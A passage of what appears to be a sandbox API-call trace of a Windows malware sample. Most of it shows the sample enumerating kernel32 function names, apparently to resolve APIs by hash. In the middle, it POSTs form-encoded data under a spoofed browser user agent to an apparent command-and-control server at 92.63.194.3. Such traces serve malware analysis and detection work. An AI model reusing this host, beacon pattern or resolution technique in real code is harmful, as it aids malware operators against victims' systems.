lpString1=0x2e7f1a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0104.438] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0104.438] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0104.438] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0104.438] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0104.438] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0104.438] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0104.439] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0104.439] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0104.439] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0104.439] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0104.439] lstrlenA (lpString="CREATETHREAD") returned 12 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0104.439] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0104.439] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0104.439] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0104.439] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0104.439] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0104.439] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0104.439] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0104.439] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0104.439] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0104.440] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0104.440] InternetCrackUrlA (in: lpszUrl="http://92.63.194.3/hnxcggc.shtml?bk=4o5bx", dwUrlLength=0x29, dwFlags=0x0, lpUrlComponents=0x2e7fd68 | out: lpUrlComponents=0x2e7fd68) returned 1 [0104.440] VirtualAlloc (lpAddress=0x0, dwSize=0x1400, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0104.441] InternetConnectA (hInternet=0xcc0004, lpszServerName="92.63.194.3", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0104.441] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/hnxcggc.shtml?bk=4o5bx", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0104.441] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2fe0000*, dwOptionalLength=0xdd) returned 0 [0108.719] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.720] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0108.720] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0108.720] VirtualFree (lpAddress=0x3be0000, dwSize=0x0, dwFreeType=0x8000) returned 0 [0108.720] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0108.720] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.720] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.721] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.721] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.722] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.722] lstrlenA (lpString="kernel32.dll") returned 12 [0108.722] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.722] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0108.722] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0108.722] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0108.722] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0108.722] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0108.723] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0108.723] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0108.723] lstrlenA (lpString="ADDATOMA") returned 8 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0108.723] lstrlenA (lpString="ADDATOMW") returned 8 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0108.723] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0108.723] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0108.723] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0108.723] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0108.723] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0108.723] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0108.724] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0108.724] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0108.724] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0108.724] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0108.724] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0108.724] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0108.724] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0108.724] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0108.724] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0108.724] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0108.725] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0108.725] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0108.725] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0108.725] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0108.725] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0108.725] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0108.725] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0108.725] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0108.725] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0108.725] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0108.726] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0108.726] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0108.726] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0108.726] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0108.726] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0108.726] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0108.726] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0108.726] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0108.726] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0108.726] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0108.727] lstrlenA (lpString="BACKUPREAD") returned 10 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0108.727] lstrlenA (lpString="BACKUPSEEK") returned 10 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0108.727] lstrlenA (lpString="BACKUPWRITE") returned 11 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0108.727] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0108.727] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0108.727] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0108.727] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0108.727] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0108.727] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0108.727] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0108.728] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0108.728] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0108.728] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0108.728] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0108.728] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0108.728] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0108.728] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0108.728] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0108.728] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0108.728] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0108.729] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0108.729] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0108.729] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0108.729] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0108.729] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0108.729] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0108.729] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0108.729] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0108.729] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0108.729] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0108.730] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0108.730] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0108.730] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0108.730] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0108.730] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0108.730] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0108.730] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0108.730] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0108.730] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0108.730] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0108.731] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0108.731] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0108.731] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0108.731] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0108.731] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0108.731] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0108.731] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0108.731] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0108.731] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0108.731] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0108.732] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0108.732] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0108.732] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0108.732] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0108.732] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: 